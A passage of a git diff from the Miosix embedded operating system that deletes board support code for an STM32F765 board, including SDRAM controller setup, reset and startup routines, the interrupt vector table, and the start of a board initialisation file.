FMC_SDTR1_TMRD_Pos; -} - -template -constexpr uint32_t sdramSDRTR() noexcept -{ - #ifdef SYSCLK_FREQ_216MHz - constexpr float hclk_mhz = 216; - #else - #error "Unknown clock frequency" - #endif - constexpr float t_us = 1.0f / (hclk_mhz / (float)div); - constexpr float t_refresh_us = (float)t_refresh_ms * 1000.0f; - constexpr float t_refreshPerRow_us = t_refresh_us / (float)n_rows; - constexpr int sdrtr_count = (std::floor(t_refreshPerRow_us / t_us) - 20) - 1; - static_assert(41 <= sdrtr_count && sdrtr_count <= 0x1FFF); - return sdrtr_count << FMC_SDRTR_COUNT_Pos; -} - -void configureSDRAM() -{ - // Enable all gpios used by the FMC - RCC->AHB1ENR |= RCC_AHB1ENR_GPIODEN | RCC_AHB1ENR_GPIOEEN | - RCC_AHB1ENR_GPIOFEN | RCC_AHB1ENR_GPIOGEN | - RCC_AHB1ENR_GPIOHEN | RCC_AHB1ENR_GPIOIEN; - // Enable SYSCFG - RCC->APB2ENR |= RCC_APB2ENR_SYSCFGEN; - RCC_SYNC(); - // Enable compensation cell - SYSCFG->CMPCR = SYSCFG_CMPCR_CMP_PD; - while (!(SYSCFG->CMPCR & SYSCFG_CMPCR_READY_Msk)) ; - // Set FMC GPIO speed to 100MHz - // port F E D C B A 9 8 7 6 5 4 3 2 1 0 - GPIOD->OSPEEDR = 0b11'11'00'00'00'11'11'11'00'00'00'00'00'00'11'11; - GPIOE->OSPEEDR = 0b11'11'11'11'11'11'11'11'11'00'00'00'00'00'11'11; - GPIOF->OSPEEDR = 0b11'11'11'11'11'00'00'00'00'00'11'11'11'11'11'11; - GPIOG->OSPEEDR = 0b11'00'00'00'00'00'00'11'00'00'11'11'00'11'11'11; - GPIOH->OSPEEDR = 0b11'11'11'11'11'11'11'11'11'11'11'00'11'11'00'10; - GPIOI->OSPEEDR = 0b00'00'00'00'00'11'11'00'11'11'11'11'11'11'11'11; - // Set FMC GPIO to alternate mode - // port F E D C B A 9 8 7 6 5 4 3 2 1 0 - GPIOD->MODER = 0b10'10'00'00'00'10'10'10'00'00'00'00'00'00'10'10; - GPIOE->MODER = 0b10'10'10'10'10'10'10'10'10'00'00'00'00'00'10'10; - GPIOF->MODER = 0b10'10'10'10'10'00'00'00'00'00'10'10'10'10'10'10; - GPIOG->MODER = 0b10'00'00'00'00'00'00'10'00'00'10'10'00'10'10'10; - GPIOH->MODER = 0b10'10'10'10'10'10'10'10'10'10'10'00'10'10'00'10; - GPIOI->MODER = 0b00'00'00'00'00'10'10'00'10'10'10'10'10'10'10'10; - // No need to update PUPD as the default of zero is already correct. - // Set FMC GPIO alternate modes - // port FEDCBA98 76543210 - GPIOD->AFR[1] = 0xcc000ccc; GPIOD->AFR[0] = 0x000000cc; - GPIOE->AFR[1] = 0xcccccccc; GPIOE->AFR[0] = 0xc00000cc; - GPIOF->AFR[1] = 0xccccc000; GPIOF->AFR[0] = 0x00cccccc; - GPIOG->AFR[1] = 0xc000000c; GPIOG->AFR[0] = 0x00cc0ccc; - GPIOH->AFR[1] = 0xcccccccc; GPIOH->AFR[0] = 0xccc0cc0c; - GPIOI->AFR[1] = 0x00000cc0; GPIOI->AFR[0] = 0xcccccccc; - - // Power on FMC - RCC->AHB3ENR = RCC_AHB3ENR_FMCEN; - RCC_SYNC(); - // Program memory device features and timings for 8 paralleled - // IS42S86400D-7TLI chips - constexpr int clockDiv = 3; - constexpr int casLatency = 2; - uint32_t sdcr = - (3 << FMC_SDCR1_NC_Pos) // 11 column address bits - | (2 << FMC_SDCR1_NR_Pos) // 13 row address bits - | (2 << FMC_SDCR1_MWID_Pos) // 32 bit data bus - | (1 << FMC_SDCR1_NB_Pos) // 4 internal banks - | (casLatency << FMC_SDCR1_CAS_Pos) - | (0 << FMC_SDCR1_WP_Pos) // write allowed - | (clockDiv << FMC_SDCR1_SDCLK_Pos) // clock = HCLK / clockDiv - | (1 << FMC_SDCR1_RBURST_Pos) // burst mode on/off - | (0 << FMC_SDCR1_RPIPE_Pos); // delay after reading - FMC_Bank5_6->SDCR[0] = sdcr; - FMC_Bank5_6->SDCR[1] = sdcr; - uint32_t sdtr = sdramSDTR< - clockDiv, - 20, // Row to column delay (t_RCD) - 20, // Row precharge delay (t_RP) - 14, // Write to precharge delay (t_WR) (ISSI denotes this as t_DPL) - 70, // Row cycle delay (t_RC) - 49, // Self-refresh time (t_RAS) - 77, // Exit self-refresh delay (t_XSR) - 14 // Load mode register to active (t_MRD) - >(); - FMC_Bank5_6->SDTR[0] = sdtr; - FMC_Bank5_6->SDTR[1] = sdtr; - // Send init command and wait for powerup - FMC_Bank5_6->SDCMR = (1 << FMC_SDCMR_MODE_Pos) | FMC_SDCMR_CTB1 | FMC_SDCMR_CTB2; - while (FMC_Bank5_6->SDSR & FMC_SDSR_BUSY) ; - miosix::delayUs(200); // see RAM datasheet p.21 for wait time - // Precharge all banks - FMC_Bank5_6->SDCMR = (2 << FMC_SDCMR_MODE_Pos) | FMC_SDCMR_CTB1 | FMC_SDCMR_CTB2; - while (FMC_Bank5_6->SDSR & FMC_SDSR_BUSY) ; - // Issue 8 auto-refresh commands (see RAM datasheet p.21 for number of refreshes) - FMC_Bank5_6->SDCMR = (3 << FMC_SDCMR_MODE_Pos) | (7 << FMC_SDCMR_NRFS_Pos) | FMC_SDCMR_CTB1 | FMC_SDCMR_CTB2; - while (FMC_Bank5_6->SDSR & FMC_SDSR_BUSY) ; - // Issue mode register set command - uint32_t mrd = - SDRAMModeReg::BurstLen1 - | SDRAMModeReg::BurstTypeSequential - | (casLatency << SDRAMModeReg::LatencyPos) - | SDRAMModeReg::ModeNormal - | SDRAMModeReg::WriteBurstModeSingle; - FMC_Bank5_6->SDCMR = (4 << FMC_SDCMR_MODE_Pos) | (mrd << FMC_SDCMR_MRD_Pos) | FMC_SDCMR_CTB1 | FMC_SDCMR_CTB2; - while (FMC_Bank5_6->SDSR & FMC_SDSR_BUSY) ; - // Program refresh rate - FMC_Bank5_6->SDRTR = sdramSDRTR< - clockDiv, - 8192, // Number of rows - 64 // Refresh cycle time (ms) - >(); -} - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M7 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - /** - * SystemInit() is called *before* initializing .data and zeroing .bss - * Despite all startup files provided by ST do the opposite, there are three - * good reasons to do so: - * 1. First, the CMSIS specifications say that SystemInit() must not access - * global variables, so it is actually possible to call it before - * 2. Second, when running Miosix with the xram linker scripts .data and - * .bss are placed in the external RAM, so we *must* call SystemInit(), - * which enables xram, before touching .data and .bss - * 3. Third, this is a performance improvement since the loops that - * initialize .data and zeros .bss now run with the CPU at full speed - * instead of 8MHz - */ - SystemInit(); - configureSDRAM(); - miosix::IRQconfigureCache((const unsigned int *)(0xC0000000), 0x20000000U); - - // These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - // Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - // Move on to stage 2 - _init(); - - // If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - /* - * Load into the program stack pointer the heap end address and switch from - * the msp to sps. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile( - "ldr r0, =_boot_stack_top \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" // Set the control register to use - "msr control, r0 \n\t" // the process stack - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() { unexpectedInterrupt(); } - -// System handlers -void /*__attribute__((weak))*/ Reset_Handler(); // These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); // weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); // surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -// Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMP_STAMP_IRQHandler(); -void __attribute__((weak)) RTC_WKUP_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream0_IRQHandler(); -void __attribute__((weak)) DMA1_Stream1_IRQHandler(); -void __attribute__((weak)) DMA1_Stream2_IRQHandler(); -void __attribute__((weak)) DMA1_Stream3_IRQHandler(); -void __attribute__((weak)) DMA1_Stream4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream5_IRQHandler(); -void __attribute__((weak)) DMA1_Stream6_IRQHandler(); -void __attribute__((weak)) ADC_IRQHandler(); -void __attribute__((weak)) CAN1_TX_IRQHandler(); -void __attribute__((weak)) CAN1_RX0_IRQHandler(); -void __attribute__((weak)) CAN1_RX1_IRQHandler(); -void __attribute__((weak)) CAN1_SCE_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_TIM9_IRQHandler(); -void __attribute__((weak)) TIM1_UP_TIM10_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_TIM11_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) OTG_FS_WKUP_IRQHandler(); -void __attribute__((weak)) TIM8_BRK_TIM12_IRQHandler(); -void __attribute__((weak)) TIM8_UP_TIM13_IRQHandler(); -void __attribute__((weak)) TIM8_TRG_COM_TIM14_IRQHandler(); -void __attribute__((weak)) TIM8_CC_IRQHandler(); -void __attribute__((weak)) DMA1_Stream7_IRQHandler(); -void __attribute__((weak)) FMC_IRQHandler(); -void __attribute__((weak)) SDMMC1_IRQHandler(); -void __attribute__((weak)) TIM5_IRQHandler(); -void __attribute__((weak)) SPI3_IRQHandler(); -void __attribute__((weak)) UART4_IRQHandler(); -void __attribute__((weak)) UART5_IRQHandler(); -void __attribute__((weak)) TIM6_DAC_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); -void __attribute__((weak)) DMA2_Stream0_IRQHandler(); -void __attribute__((weak)) DMA2_Stream1_IRQHandler(); -void __attribute__((weak)) DMA2_Stream2_IRQHandler(); -void __attribute__((weak)) DMA2_Stream3_IRQHandler(); -void __attribute__((weak)) DMA2_Stream4_IRQHandler(); -void __attribute__((weak)) ETH_IRQHandler(); -void __attribute__((weak)) ETH_WKUP_IRQHandler(); -void __attribute__((weak)) CAN2_TX_IRQHandler(); -void __attribute__((weak)) CAN2_RX0_IRQHandler(); -void __attribute__((weak)) CAN2_RX1_IRQHandler(); -void __attribute__((weak)) CAN2_SCE_IRQHandler(); -void __attribute__((weak)) OTG_FS_IRQHandler(); -void __attribute__((weak)) DMA2_Stream5_IRQHandler(); -void __attribute__((weak)) DMA2_Stream6_IRQHandler(); -void __attribute__((weak)) DMA2_Stream7_IRQHandler(); -void __attribute__((weak)) USART6_IRQHandler(); -void __attribute__((weak)) I2C3_EV_IRQHandler(); -void __attribute__((weak)) I2C3_ER_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_OUT_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_IN_IRQHandler(); -void __attribute__((weak)) OTG_HS_WKUP_IRQHandler(); -void __attribute__((weak)) OTG_HS_IRQHandler(); -void __attribute__((weak)) DCMI_IRQHandler(); -void __attribute__((weak)) CRYP_IRQHandler(); -void __attribute__((weak)) RNG_IRQHandler(); -void __attribute__((weak)) FPU_IRQHandler(); -void __attribute__((weak)) UART7_IRQHandler(); -void __attribute__((weak)) UART8_IRQHandler(); -void __attribute__((weak)) SPI4_IRQHandler(); -void __attribute__((weak)) SPI5_IRQHandler(); -void __attribute__((weak)) SPI6_IRQHandler(); -void __attribute__((weak)) SAI1_IRQHandler(); -void __attribute__((weak)) LTDC_IRQHandler(); -void __attribute__((weak)) LTDC_ER_IRQHandler(); -void __attribute__((weak)) DMA2D_IRQHandler(); -void __attribute__((weak)) SAI2_IRQHandler(); -void __attribute__((weak)) QUADSPI_IRQHandler(); -void __attribute__((weak)) LPTIM1_IRQHandler(); -void __attribute__((weak)) CEC_IRQHandler(); -void __attribute__((weak)) I2C4_EV_IRQHandler(); -void __attribute__((weak)) I2C4_ER_IRQHandler(); -void __attribute__((weak)) SPDIF_RX_IRQHandler(); -void __attribute__((weak)) DSIHOST_IRQHandler(); -void __attribute__((weak)) DFSDM1_FLT0_IRQHandler(); -void __attribute__((weak)) DFSDM1_FLT1_IRQHandler(); -void __attribute__((weak)) DFSDM1_FLT2_IRQHandler(); -void __attribute__((weak)) DFSDM1_FLT3_IRQHandler(); -void __attribute__((weak)) SDMMC2_IRQHandler(); -void __attribute__((weak)) CAN3_TX_IRQHandler(); -void __attribute__((weak)) CAN3_RX0_IRQHandler(); -void __attribute__((weak)) CAN3_RX1_IRQHandler(); -void __attribute__((weak)) CAN3_SCE_IRQHandler(); -void __attribute__((weak)) JPEG_IRQHandler(); -void __attribute__((weak)) MDIOS_IRQHandler(); - -// Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -// Interrupt vectors, must be placed @ address 0x00000000 -// The extern declaration is required otherwise g++ optimizes it out -extern void (*const __Vectors[])(); -void (*const __Vectors[])() __attribute__((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top), /* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_IRQHandler, - TAMP_STAMP_IRQHandler, - RTC_WKUP_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Stream0_IRQHandler, - DMA1_Stream1_IRQHandler, - DMA1_Stream2_IRQHandler, - DMA1_Stream3_IRQHandler, - DMA1_Stream4_IRQHandler, - DMA1_Stream5_IRQHandler, - DMA1_Stream6_IRQHandler, - ADC_IRQHandler, - CAN1_TX_IRQHandler, - CAN1_RX0_IRQHandler, - CAN1_RX1_IRQHandler, - CAN1_SCE_IRQHandler, - EXTI9_5_IRQHandler, - TIM1_BRK_TIM9_IRQHandler, - TIM1_UP_TIM10_IRQHandler, - TIM1_TRG_COM_TIM11_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - USART3_IRQHandler, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - OTG_FS_WKUP_IRQHandler, - TIM8_BRK_TIM12_IRQHandler, - TIM8_UP_TIM13_IRQHandler, - TIM8_TRG_COM_TIM14_IRQHandler, - TIM8_CC_IRQHandler, - DMA1_Stream7_IRQHandler, - FMC_IRQHandler, - SDMMC1_IRQHandler, - TIM5_IRQHandler, - SPI3_IRQHandler, - UART4_IRQHandler, - UART5_IRQHandler, - TIM6_DAC_IRQHandler, - TIM7_IRQHandler, - DMA2_Stream0_IRQHandler, - DMA2_Stream1_IRQHandler, - DMA2_Stream2_IRQHandler, - DMA2_Stream3_IRQHandler, - DMA2_Stream4_IRQHandler, - ETH_IRQHandler, - ETH_WKUP_IRQHandler, - CAN2_TX_IRQHandler, - CAN2_RX0_IRQHandler, - CAN2_RX1_IRQHandler, - CAN2_SCE_IRQHandler, - OTG_FS_IRQHandler, - DMA2_Stream5_IRQHandler, - DMA2_Stream6_IRQHandler, - DMA2_Stream7_IRQHandler, - USART6_IRQHandler, - I2C3_EV_IRQHandler, - I2C3_ER_IRQHandler, - OTG_HS_EP1_OUT_IRQHandler, - OTG_HS_EP1_IN_IRQHandler, - OTG_HS_WKUP_IRQHandler, - OTG_HS_IRQHandler, - DCMI_IRQHandler, - CRYP_IRQHandler, - RNG_IRQHandler, - FPU_IRQHandler, - UART7_IRQHandler, - UART8_IRQHandler, - SPI4_IRQHandler, - SPI5_IRQHandler, - SPI6_IRQHandler, - SAI1_IRQHandler, - LTDC_IRQHandler, - LTDC_ER_IRQHandler, - DMA2D_IRQHandler, - SAI2_IRQHandler, - QUADSPI_IRQHandler, - LPTIM1_IRQHandler, - CEC_IRQHandler, - I2C4_EV_IRQHandler, - I2C4_ER_IRQHandler, - SPDIF_RX_IRQHandler, - DSIHOST_IRQHandler, - DFSDM1_FLT0_IRQHandler, - DFSDM1_FLT1_IRQHandler, - DFSDM1_FLT2_IRQHandler, - DFSDM1_FLT3_IRQHandler, - SDMMC2_IRQHandler, - CAN3_TX_IRQHandler, - CAN3_RX0_IRQHandler, - CAN3_RX1_IRQHandler, - CAN3_SCE_IRQHandler, - JPEG_IRQHandler, - MDIOS_IRQHandler, -}; - -#pragma weak SysTick_IRQHandler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMP_STAMP_IRQHandler = Default_Handler -#pragma weak RTC_WKUP_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream0_IRQHandler = Default_Handler -#pragma weak DMA1_Stream1_IRQHandler = Default_Handler -#pragma weak DMA1_Stream2_IRQHandler = Default_Handler -#pragma weak DMA1_Stream3_IRQHandler = Default_Handler -#pragma weak DMA1_Stream4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream5_IRQHandler = Default_Handler -#pragma weak DMA1_Stream6_IRQHandler = Default_Handler -#pragma weak ADC_IRQHandler = Default_Handler -#pragma weak CAN1_TX_IRQHandler = Default_Handler -#pragma weak CAN1_RX0_IRQHandler = Default_Handler -#pragma weak CAN1_RX1_IRQHandler = Default_Handler -#pragma weak CAN1_SCE_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_TIM9_IRQHandler = Default_Handler -#pragma weak TIM1_UP_TIM10_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_TIM11_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak OTG_FS_WKUP_IRQHandler = Default_Handler -#pragma weak TIM8_BRK_TIM12_IRQHandler = Default_Handler -#pragma weak TIM8_UP_TIM13_IRQHandler = Default_Handler -#pragma weak TIM8_TRG_COM_TIM14_IRQHandler = Default_Handler -#pragma weak TIM8_CC_IRQHandler = Default_Handler -#pragma weak DMA1_Stream7_IRQHandler = Default_Handler -#pragma weak FMC_IRQHandler = Default_Handler -#pragma weak SDMMC1_IRQHandler = Default_Handler -#pragma weak TIM5_IRQHandler = Default_Handler -#pragma weak SPI3_IRQHandler = Default_Handler -#pragma weak UART4_IRQHandler = Default_Handler -#pragma weak UART5_IRQHandler = Default_Handler -#pragma weak TIM6_DAC_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler -#pragma weak DMA2_Stream0_IRQHandler = Default_Handler -#pragma weak DMA2_Stream1_IRQHandler = Default_Handler -#pragma weak DMA2_Stream2_IRQHandler = Default_Handler -#pragma weak DMA2_Stream3_IRQHandler = Default_Handler -#pragma weak DMA2_Stream4_IRQHandler = Default_Handler -#pragma weak ETH_IRQHandler = Default_Handler -#pragma weak ETH_WKUP_IRQHandler = Default_Handler -#pragma weak CAN2_TX_IRQHandler = Default_Handler -#pragma weak CAN2_RX0_IRQHandler = Default_Handler -#pragma weak CAN2_RX1_IRQHandler = Default_Handler -#pragma weak CAN2_SCE_IRQHandler = Default_Handler -#pragma weak OTG_FS_IRQHandler = Default_Handler -#pragma weak DMA2_Stream5_IRQHandler = Default_Handler -#pragma weak DMA2_Stream6_IRQHandler = Default_Handler -#pragma weak DMA2_Stream7_IRQHandler = Default_Handler -#pragma weak USART6_IRQHandler = Default_Handler -#pragma weak I2C3_EV_IRQHandler = Default_Handler -#pragma weak I2C3_ER_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_OUT_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_IN_IRQHandler = Default_Handler -#pragma weak OTG_HS_WKUP_IRQHandler = Default_Handler -#pragma weak OTG_HS_IRQHandler = Default_Handler -#pragma weak DCMI_IRQHandler = Default_Handler -#pragma weak CRYP_IRQHandler = Default_Handler -#pragma weak RNG_IRQHandler = Default_Handler -#pragma weak FPU_IRQHandler = Default_Handler -#pragma weak UART7_IRQHandler = Default_Handler -#pragma weak UART8_IRQHandler = Default_Handler -#pragma weak SPI4_IRQHandler = Default_Handler -#pragma weak SPI5_IRQHandler = Default_Handler -#pragma weak SPI6_IRQHandler = Default_Handler -#pragma weak SAI1_IRQHandler = Default_Handler -#pragma weak LTDC_IRQHandler = Default_Handler -#pragma weak LTDC_ER_IRQHandler = Default_Handler -#pragma weak DMA2D_IRQHandler = Default_Handler -#pragma weak SAI2_IRQHandler = Default_Handler -#pragma weak QUADSPI_IRQHandler = Default_Handler -#pragma weak LPTIM1_IRQHandler = Default_Handler -#pragma weak CEC_IRQHandler = Default_Handler -#pragma weak I2C4_EV_IRQHandler = Default_Handler -#pragma weak I2C4_ER_IRQHandler = Default_Handler -#pragma weak SPDIF_RX_IRQHandler = Default_Handler -#pragma weak DSIHOST_IRQHandler = Default_Handler -#pragma weak DFSDM1_FLT0_IRQHandler = Default_Handler -#pragma weak DFSDM1_FLT1_IRQHandler = Default_Handler -#pragma weak DFSDM1_FLT2_IRQHandler = Default_Handler -#pragma weak DFSDM1_FLT3_IRQHandler = Default_Handler -#pragma weak SDMMC2_IRQHandler = Default_Handler -#pragma weak CAN3_TX_IRQHandler = Default_Handler -#pragma weak CAN3_RX0_IRQHandler = Default_Handler -#pragma weak CAN3_RX1_IRQHandler = Default_Handler -#pragma weak CAN3_SCE_IRQHandler = Default_Handler -#pragma weak JPEG_IRQHandler = Default_Handler -#pragma weak MDIOS_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM7_stm32f7/stm32f765ii_marco_ram_board/interfaces-impl/arch_registers_impl.h b/miosix/arch/cortexM7_stm32f7/stm32f765ii_marco_ram_board/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index c90fa8506..000000000 --- a/miosix/arch/cortexM7_stm32f7/stm32f765ii_marco_ram_board/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,17 +0,0 @@ -#ifndef ARCH_REGISTERS_IMPL_H -#define ARCH_REGISTERS_IMPL_H - -// stm32f7xx.h defines a few macros like __ICACHE_PRESENT, __DCACHE_PRESENT and -// includes core_cm7.h. Do not include core_cm7.h before. -#define STM32F765xx -#include "CMSIS/Device/ST/STM32F7xx/Include/stm32f7xx.h" - -#if (__ICACHE_PRESENT != 1) || (__DCACHE_PRESENT != 1) -#error "Wrong include order" -#endif - -#include "CMSIS/Device/ST/STM32F7xx/Include/system_stm32f7xx.h" - -#define RCC_SYNC() __DSB() // TODO: can this dsb be removed? - -#endif // ARCH_REGISTERS_IMPL_H diff --git a/miosix/arch/cortexM7_stm32f7/stm32f765ii_marco_ram_board/interfaces-impl/bsp.cpp b/miosix/arch/cortexM7_stm32f7/stm32f765ii_marco_ram_board/interfaces-impl/bsp.cpp deleted file mode 100644 index 58076c69b..000000000 --- a/miosix/arch/cortexM7_stm32f7/stm32f765ii_marco_ram_board/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,135 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2018 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** - * bsp.cpp Part of the Miosix Embedded OS. - * Board support package, this file initializes hardware. - ************************************************************************/ - -#include "interfaces/bsp.h" - -#include -#include - -#include - -#include "board_settings.h" -#include "config/miosix_settings.h" -#include "drivers/serial.h" -#include "drivers/serial_stm32.h" -#include "drivers/sd_stm32f2_f4_f7.h" -#include "filesystem/console/console_device.h" -#include "filesystem/file_access.h" -#include "interfaces/arch_registers.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "kernel/kernel.h" -#include "kernel/logging.h" -#include "kernel/sync.h" - -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - // Enable all gpios - RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | - RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | - RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN | - RCC_AHB1ENR_GPIOGEN | RCC_AHB1ENR_GPIOHEN | - RCC_AHB1ENR_GPIOIEN; - RCC_SYNC(); - - // Default to 50MHz speed for all GPIOS except FMC - // port F E D C B A 9 8 7 6 5 4 3 2 1 0 - GPIOA->OSPEEDR = 0b10'10'10'10'10'10'10'10'10'10'10'10'10'10'10'10; - GPIOB->OSPEEDR = 0b10'10'10'10'10'10'10'10'10'10'10'10'10'10'10'10; - GPIOC->OSPEEDR = 0b10'10'10'10'10'10'10'10'10'10'10'10'10'10'10'10; - GPIOD->OSPEEDR |= 0b00'00'10'10'10'00'00'00'10'10'10'10'10'10'00'00; - GPIOE->OSPEEDR |= 0b00'00'00'00'00'00'00'00'00'10'10'10'10'10'00'00; - GPIOF->OSPEEDR |= 0b00'00'00'00'00'10'10'10'10'10'00'00'00'00'00'00; - GPIOG->OSPEEDR |= 0b00'10'10'10'10'10'10'10'10'10'00'00'10'00'00'00; - GPIOH->OSPEEDR |= 0b00'00'00'00'00'00'00'00'00'00'00'10'00'00'10'10; - GPIOI->OSPEEDR |= 0b00'00'00'00'10'00'00'10'00'00'00'00'00'00'00'00; - - led1::mode(Mode::OUTPUT); - 